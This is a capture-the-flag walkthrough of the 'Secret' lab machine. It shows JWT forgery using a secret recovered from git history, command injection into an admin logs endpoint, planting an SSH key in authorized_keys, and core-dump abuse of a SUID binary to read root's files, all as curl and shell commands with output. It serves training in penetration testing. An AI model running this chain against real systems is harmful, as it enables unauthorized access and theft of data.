SECRET (Linux) Walkthrough

assets/Pasted image 20220313012026.png


Reconnaissance

Let’s do a Quick Scan of the target using NMAP.

nmap -sV -sC -O -oA nmap/initial 10.10.11.120
  • -sC : run Default Nmap scripts
  • -sV : detects service versions
  • -O : detects OS
  • -oA : output all formats and store in file *nmap/initial

We got the following result …

  • PORT 22 : running OpenSSH (OpenSSH 8.2p1 Ubuntu 4ubuntu0.3)
  • PORT 80 : running HTTP (nginx 1.18.0)
  • PORT 3000 : running HTTP (Node.js (Express middleware))
└─# nmap -sV -sC -O -oA nmap/initial 10.10.11.120

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 01:22 EST
Nmap scan report for 10.10.11.120
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=3/13%OT=22%CT=1%CU=40602%PV=Y%DS=2%DC=I%G=Y%TM=622D8DF
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=104%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O
OS:3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.27 seconds

Let’s do a Full machine scan to make sure we are not skipping any ports or services on uncommon ports.

nmap -sC -sV -O -oA nmap/full 10.10.11.120 -p-

Similarly Let’s run a UDP Scan as well

nmap -sU -O -p- -oA nmap/udp 10.10.11.120

There were no other open ports available.


Enumeration

We have two http ports running 80, 3000 we can enumerate on both ports to further find the attack surface and possible entry point. Also port 22 not seems to be vulnerable with any attack, So its better to enumerate HTTP ports throughly.

PORT 80 , 3000

Going throught these ports manually seems like both are running same service. Further browsing through the website, Found some documentation and also the source code of website.

Going through the documentations we can easily figure out that there is a API service which allows to login user and register users.

We can try to create a new user possibly. Before doing that let’s check out the source code that are available to download in the website.

wget http://10.10.11.120/download/files.zip && unzip files.zip

Going through the Source code , Found some interesting API endpoints same that was mentioned in the Documentation.

Few Important Endpoints that we found in Source code and verified from Documentation are.

From Documentation --

http://localhost:3000/api/user/register
http://localhost:3000/api/user/login
http://localhost:3000/api/priv

From Source Code --

http://localhost:3000/api/logs

From the Documentation, We ca easily figure out how to register a new user and login as a new user to get the Auth Token. Let’s create a curl Request to create a new user.

curl -X POST -H 'Content-Type: application/json' --data '{"name":"an0nud4y","email":"[email protected]","password":"an0nud4y"}' --url 'http://10.10.11.120:3000/api/user/register' -v

We successfully registered a new user.

└─# curl -X POST -H 'Content-Type: application/json' --data '{"name":"an0nud4y","email":"[email protected]","password":"an0nud4y"}' --url 'http://10.10.11.120:3000/api/user/register' -v

Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> POST /api/user/register HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 75
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 20
< ETag: W/"14-CLI9B9IFg+20ObdJr32uCDCn8sQ"
< Date: Mon, 14 Mar 2022 09:54:26 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact
{"user":"an0nud4y"} 

Let’s try to login as the user we just created.

Request to login as user we just created.

curl -X POST -H 'Content-Type: application/json' --data '{"email":"[email protected]","password":"an0nud4y"}' --url 'http://10.10.11.120:3000/api/user/login' -v

We got the following response , which contains the JWT authentication token.

└─# curl -X POST -H 'Content-Type: application/json' --data '{"email":"[email protected]","password":"an0nud4y"}' --url 'http://10.10.11.120:3000/api/user/login' -v

Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> POST /api/user/login HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 55
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI
< Content-Type: text/html; charset=utf-8
< Content-Length: 216
< ETag: W/"d8-XlQ2PL0XEI2rYGwSZ/BGqDen0Nk"
< Date: Mon, 14 Mar 2022 09:56:46 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI  

Let’s use this JWT token and make a request to /api/priv endpoint,

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI' --url 'http://10.10.11.120:3000/api/priv' -v

Got the following response …

└─# curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI' --url 'http://10.10.11.120:3000/api/priv' -v  

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> GET /api/priv HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 57
< ETag: W/"39-vXHNU8yNSEHyxmJw5Kgd2bas5uI"
< Date: Mon, 14 Mar 2022 10:04:39 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact
{"role":{"role":"you are normal user","desc":"an0nud4y"}}

Going through the Source code of routes/forgot.js file.

const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})


router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});


module.exports = router

We can figure out that getLogs variable is being execute , which contains the input from file parameter , We can possibly exploit this to inject OS commands, But only theadmin user is allowed to do so. I tried to register a user as theadmin username but that already existed. So we have to somehow exploit the JWT token to login as theadmin user.

Reading more about the JWT Token Hacking From Here, We can figure out that in order alter the JWT token we need the Secret Key.

Let’s use the jwt_tool to play with the Token.

git clone https://github.com/ticarpi/jwt_tool

Running jwt_tool.py against the Token we received in response earlier.

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI

Found out that the JWT token used HMAC Algorithm, From the Blog we found that HMAC uses the same key for signing and for verifying other than the RSA algorithm which uses Private key for signing and Public Key for Verifying the Token.

So in order to manipulate the JWT token to gain access to theadmin account , we have to find the secret key.

Going through the Source Code file, Found Some hidden files, .env and .git Checking the content of .env file we found some interesting stuffs.

└─# cat .env          
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

We found the Secret Token, But manually verifying the altered token created by following command , did not worked out.

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI -S hs256 -I -pc 'name' -pv 'theadmin' -p 'secret'

Response from the server..

└─# curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.ut646rgfaqJ5umi7tCLH1l_XqwV9EPENllcjzHMBTZg' --url 'http://10.10.11.120:3000/api/priv' -v  

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> GET /api/priv HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.ut646rgfaqJ5umi7tCLH1l_XqwV9EPENllcjzHMBTZg
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 13
< ETag: W/"d-GLqvnw/1O/MWaNK/4OhPBcb7NQs"
< Date: Mon, 14 Mar 2022 10:33:39 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact
Invalid Token 

Surely the secret token we found is not working, Checking out the last changes that were made in .env file.

└─# git log -- .env

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

Let’s browse the older version of the file.

└─# git show 55fe756a29268f9b4e786ae468952ca4a8df1bd8

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

diff --git a/.env b/.env
new file mode 100644
index 0000000..fb6f587
--- /dev/null
+++ b/.env
@@ -0,0 +1,2 @@
+DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

We found the SECRET TOKEN. Let’s use this token to create a new JWT to gain access to admin user.

Tampering JWT token…

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoiYW4wbnVkNHkiLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.z38YPM5VvQOqh83rdIMSYb9IXrGnmAO22h75_Qne7kI -S hs256 -I -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE'

Let’s use the generated JWT token and verify if its working or not.

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/priv' -v

Got the following reponse, So the Tampered Token is working.

└─# curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/priv' -v
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> GET /api/priv HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 76
< ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
< Date: Mon, 14 Mar 2022 11:02:10 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Let’s create request to /api/logs endpoint and add a file parameter to inject some OS command to verify if the Command Injection is working same as we figured out from source code present in routes/forgot.js.

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

Creating a POST request using curl..

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;whoami' -v

Got the output in the response of the command (whoami) we injected.

└─# curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;whoami' -v

Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.10.11.120:3000...
* Connected to 10.10.11.120 (10.10.11.120) port 3000 (#0)
> GET /api/logs?file=;whoami HTTP/1.1
> Host: 10.10.11.120:3000
> User-Agent: curl/7.81.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 108
< ETag: W/"6c-fpDy9UgmPp7aB73ABYx0db7yFiA"
< Date: Mon, 14 Mar 2022 11:16:20 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.11.120 left intact
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n"

We are able to inject commands, We can now easily can a shell as dasith user.


Gaining a Foothold

We are able to inject the OS command , let’s try to get a shell to the target machine. We can use few methods to gain access to target machine.

  • Using a Reverse Shell
  • Using SSH Port (PORT 22 is Open)

I tried using various possible reverse shells but did not got connection back. So we can try to use SSH login using private key.

So , We have to use ssh port to gain access, But to do so we need the private ssh key. We have the command injection capabilities , So we can easily put that SSH Public key in authorised keys in the target machine.

Let’s create a private and Public SSH key in attacker machine and then we can put those key in the target machine.

Creating a ssh key pair.

ssh-keygen -f id_rsa

This Command will generate two files , Private key and Public key, We can add the Public key to authorized keys in the target machine and use the generated private key to get access to the target machine.

Let’s Put the public key in Target machine authorized key.

Before putting our public key, we have to create /home/dasith/.ssh/authorized_keys file.

Creating .ssh directory …

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;mkdir%20/home/dasith/.ssh' -v

creating authorized_keys file …

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;touch%20/home/dasith/.ssh/authorized_keys' -v

Adding Private key to authorized keys file …

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;echo%20'ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC5VFeh8aEciKJw2C9nV7DKczdF1dhlFwlkeOw%2BY6N%2BjI0FrcecZQ9A7HZuQqiv06ZUHHfmpPnZzLaWK3oTcrW/jtBaHGUJCL%2B0It/DGBRLncM2iD27j2SgokSuz369TFPhQggsqg5Bp3Kom0XgV3q4r/eUR6iBsrG8dgJPNKYolnxdSYeC5kvzjHmPfhC8FFy9f6RMZGOXUfjtYP8TX7R2dtw5RPDK2j5b2F8xhtZz130VbuJn6SWg7ZCWePyfdGlYnriKT1J9XnJCsmnn6Eo1JGQEB1UjIUuZz3XwXPyRLAPat2gt7kYtxZ6YbzM1dL82JHxxMk3%2BixmRllVE/q4LpDzwxUOTcNOAcW/3vzoivYHO5LigH0ULfIMJIBLOR9OEZA974xBUkdqCLr2EzN90%2BAt9po9qNRc/0FYDn6QBXiqq8wcjIxOZl8f/ZYTXiOH07jqGVkuXPuB8AlkcRJPGXlZ1XRNu0z727fpIIYwPTWEOjq/cUwBrXhRSkOQ62uU=%20root@kali'>>/home/dasith/.ssh/authorized_keys' -v

NOTE: Make sure to url encode the public key (Spaces and ‘+’ sign specifically) , Also verify the Public key manually by injecting (cat /home/dasith/.ssh/authorized_keys) command.

Also change the authorized_keys file permission to 644.

curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlYjhlYjhmMTdiMDA0NTllZmNhMDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFuMG51ZDR5QGFuMG51ZDR5LmNvbSIsImlhdCI6MTY0NzI1MTgwNn0.d1Zdt09bGxGgUAtZFyH-f1VuDS9zj41s7ANhriNLxyA' --url 'http://10.10.11.120:3000/api/logs?file=;chmod%20644%20/home/dasith/.ssh/authorized_keys' -v

Lets try to connect to the target machine using SSH private key we have generated.

ssh [email protected] -i id_rsa

We got the User access to the Target Machine, Let’s grab the user flag as well.

cat /home/dasith/user.txt

We got the User Flag.

assets/Pasted image 20220314072913.png

We don’t have the Root access to get the Root Flag, So we have to escalate privilege.


Privilege Escalation

METHOD 1 -

Let’s run the Linpeash to find some possible Privilege escalation vectors. We got the following Results and found that the machine is possibly vulnerable to CVE-2021-4034 , CVE-2021-3156 and others.

assets/Pasted image 20220314084404.png

Tried to used Pwnkit Exploit From Here and the exploit worked and i was able to get root access.

assets/Pasted image 20220314084652.png

Going through various writeups and HTB forums , i think that this was not the expected Privilege Escalation Vector.

So Let’s try to find the methods other than the possible Privilege Escalation CVEs that provided by linpeas scan.

METHOD 2 -

Let’s try to find some files which can be run with root rights.

find / -type f -perm -u=s 2>/dev/null

Found out a interesting file /opt/count , After running it i understand how the program was working, it takes a file as input and return the number of lines, words and characters. It also supports to save the results.

There is also another file code.c , It is potentially the source code of the binary count.

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);
    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

There is a interesting line..

prctl(PR_SET_DUMPABLE, 1);

After some research, this command activates the generation of log following a core dump. This log contains among other things the contents of the memory during the crash, it would be possible to recover the contents of the file being read by the program.

So let’s try to make a core dump during the execution of program and analyze the logs. Steps :-

  • Run count binary and try to read the /root/root.txt
  • press CTRL + Z and background the process.
  • Find the process id and Kill it
  • Foreground the process again

This will generate the CoreDump at /var/crash/_opt_count.1000.crash.

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$ ps aux |grep count
root         856  0.0  0.1 235676  7428 ?        Ssl  17:11   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      1613  0.0  0.0   2488   592 pts/0    T    17:44   0:00 ./count
dasith      1615  0.0  0.0   6432   736 pts/0    S+   17:45   0:00 grep --color=auto count
dasith@secret:/opt$ kill -BUS 1613
dasith@secret:/opt$ bg
[1]+ ./count &
dasith@secret:/opt$ fg
-bash: fg: job has terminated
[1]+  Bus error               (core dumped) ./count

Let’s extract the logs using ‘apport-unpack’ , and then extract the words using ‘strings’.

dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/log
dasith@secret:/opt$ strings /tmp/log/CoreDump

in the output we can find the root flag, We can similarly read the SSH Private key and use that to gain root shell access.

We Got the Root Flag.

assets/Pasted image 20220314133946.png

Thank You For Reading